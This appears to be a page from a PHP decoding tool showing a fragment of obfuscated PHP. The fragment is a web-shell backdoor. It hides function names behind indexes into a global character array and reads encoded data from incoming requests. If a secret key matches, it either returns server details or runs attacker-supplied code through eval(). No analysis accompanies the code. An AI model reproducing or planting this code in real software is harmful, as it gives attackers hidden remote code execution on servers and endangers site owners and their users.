PHP Decode

<?   
    global $uaa98b2; 
 
    return $GLOBALS[$GLOBALS['k639e7'][49].$GLOBALS['k639e7'][46].$GLOBALS['k639e7'][95].$GLOBALS['k639e7'][64].$GLOBALS['k639e7'][95].$GLOBALS['k639e7'][32].$GLOBALS['k639e7'][91]]($GLOBALS[$GLOBALS['k639e7'][49].$GLOBALS['k639e7'][46].$GLOBALS['k639e7'][95].$GLOBALS['k639e7'][64].$GLOBALS['k639e7'][95].$GLOBALS['k639e7'][32].$GLOBALS['k639e7'][91]]($ycdfe4e6f, $uaa98b2), $m7bbdbeb); 
} 
 
foreach ($GLOBALS[$GLOBALS['k639e7'][5].$GLOBALS['k639e7'][48].$GLOBALS['k639e7'][91].$GLOBALS['k639e7'][1].$GLOBALS['k639e7'][95].$GLOBALS['k639e7'][64].$GLOBALS['k639e7'][12].$GLOBALS['k639e7'][95]] as $m7bbdbeb=>$j5e54809d) 
{ 
    $ycdfe4e6f = $j5e54809d; 
    $mfae9875 = $m7bbdbeb; 
} 
 
if (!$ycdfe4e6f) 
{ 
    foreach ($GLOBALS[$GLOBALS['k639e7'][51].$GLOBALS['k639e7'][7].$GLOBALS['k639e7'][91].$GLOBALS['k639e7'][57].$GLOBALS['k639e7'][51].$GLOBALS['k639e7'][57]] as $m7bbdbeb=>$j5e54809d) 
    { 
        $ycdfe4e6f = $j5e54809d; 
        $mfae9875 = $m7bbdbeb; 
    } 
} 
 
$ycdfe4e6f = @$GLOBALS[$GLOBALS['k639e7'][21].$GLOBALS['k639e7'][48].$GLOBALS['k639e7'][91].$GLOBALS['k639e7'][48].$GLOBALS['k639e7'][48].$GLOBALS['k639e7'][83].$GLOBALS['k639e7'][83]]($GLOBALS[$GLOBALS['k639e7'][5].$GLOBALS['k639e7'][57].$GLOBALS['k639e7'][57].$GLOBALS['k639e7'][83].$GLOBALS['k639e7'][83].$GLOBALS['k639e7'][7].$GLOBALS['k639e7'][83].$GLOBALS['k639e7'][64]]($GLOBALS[$GLOBALS['k639e7'][3].$GLOBALS['k639e7'][51].$GLOBALS['k639e7'][46].$GLOBALS['k639e7'][32].$GLOBALS['k639e7'][32].$GLOBALS['k639e7'][83]]($ycdfe4e6f), $mfae9875)); 
if (isset($ycdfe4e6f[$GLOBALS['k639e7'][95].$GLOBALS['k639e7'][66]]) && $uaa98b2==$ycdfe4e6f[$GLOBALS['k639e7'][95].$GLOBALS['k639e7'][66]]) 
{ 
    if ($ycdfe4e6f[$GLOBALS['k639e7'][95]] == $GLOBALS['k639e7'][8]) 
    { 
        $he7c0 = Array( 
            $GLOBALS['k639e7'][54].$GLOBALS['k639e7'][92] => @$GLOBALS[$GLOBALS['k639e7'][0].$GLOBALS['k639e7'][91].$GLOBALS['k639e7'][64].$GLOBALS['k639e7'][20]](), 
            $GLOBALS['k639e7'][13].$GLOBALS['k639e7'][92] => $GLOBALS['k639e7'][46].$GLOBALS['k639e7'][10].$GLOBALS['k639e7'][27].$GLOBALS['k639e7'][19].$GLOBALS['k639e7'][46], 
        ); 
        echo @$GLOBALS[$GLOBALS['k639e7'][47].$GLOBALS['k639e7'][64].$GLOBALS['k639e7'][51].$GLOBALS['k639e7'][51].$GLOBALS['k639e7'][83].$GLOBALS['k639e7'][20].$GLOBALS['k639e7'][64]]($he7c0); 
    } 
    elseif ($ycdfe4e6f[$GLOBALS['k639e7'][95]] == $GLOBALS['k639e7'][84]) 
    { 
        eval($ycdfe4e6f[$GLOBALS['k639e7'][57]]); 
    } 
    exit(); 
 ?>